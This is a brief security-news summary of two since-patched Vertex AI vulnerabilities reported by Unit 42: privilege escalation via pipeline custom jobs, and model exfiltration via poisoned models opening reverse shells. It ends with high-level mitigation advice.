Palo Alto Networks Unit 42 researchers have discovered two significant security flaws in Google’s Vertex AI machine learning platform:

1. Privilege Escalation Vulnerability:

– Exploits Vertex AI Pipelines feature through custom jobs

– Allows unauthorized access to restricted resources

– Enables attackers to create backdoor access using reverse shells

– Permits access to internal Google Cloud repositories

2. Model Exfiltration Vulnerability:

– Involves deploying poisoned models to create reverse shells

– Enables unauthorized access to Kubernetes clusters

– Allows extraction of sensitive ML models and fine-tuned LLMs

– Could compromise entire AI environments through a single malicious model

Impact and Resolution:

– Both vulnerabilities have been patched by Google

– Potential for serious data breaches and intellectual property theft

– Organizations advised to implement strict model deployment controls

– Regular permission audits recommended